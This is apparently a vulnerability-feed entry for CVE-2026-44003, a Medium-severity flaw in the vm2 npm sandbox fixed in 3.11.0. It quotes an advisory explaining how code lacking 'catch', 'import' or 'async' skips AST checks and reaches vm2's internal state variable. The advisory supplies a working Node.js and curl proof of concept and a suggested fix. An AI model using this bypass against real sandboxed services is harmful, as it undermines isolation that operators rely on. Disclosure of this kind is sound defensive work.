Answer in brief
CVE-2026-44003 records a Medium severity (CVSS 5.3) vulnerability in vm2's Transformer Fast-Path Bypass Exposes Internal State Variable. The current sources do not mark it as known exploited. The current feed maps vm2 (npm), vm2 (npm). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 5.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps vm2 (npm), vm2 (npm). Check affected ranges and fixed versions before updating.
| Product | Affected versions | Fixed versions |
|---|---|---|
| cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* | Not reported | Not reported |
| Package | Affected range | Fixed version |
|---|---|---|
| vm2npm | >=0 <3.11.0 | 3.11.0 |
| vm2npm | <=3.10.5 | 3.11.0 |
Published upstream
May 7, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 5, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Oct 28, 2026
### Summary vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`). ### Details In `lib/transformer.js:55-57`, a regex check `/\b(?:catch|import|async)\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified. When the fast-path is taken: 1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs 2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation 3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)` While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable. ### PoC **Library-level PoC (Node.js script — primary):** ```javascript const { VM } = require("vm2"); const vm = new VM(); // Access internal state (bypassed — no catch/import/async keywords) const result = vm.run(` var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(",") `); console.log(result); // "wrapWith,handleException,import" // Control test — blocked when catch keyword is present try { vm.run(` try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message } `); } catch(e) { console.log(e.message); // "Use of internal vm2 state variable" } ``` **HTTP demonstration:** ```bash # Internal state access (bypassed) curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}' # Result: "wrapWith,handleException,import" # Control test — blocked when catch keyword is present curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}' # Result: {"errors":["Use of internal vm2 state variable"]} ``` **Suggested fix:** ```javascript // transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) { return {__proto__: null, code, hasAsync: false}; } ``` ### Impact - **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords. - **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes. - **Scope**: All applications using vm2. No special configuration required.
Quoted source text, attributed separately from HOL analysis.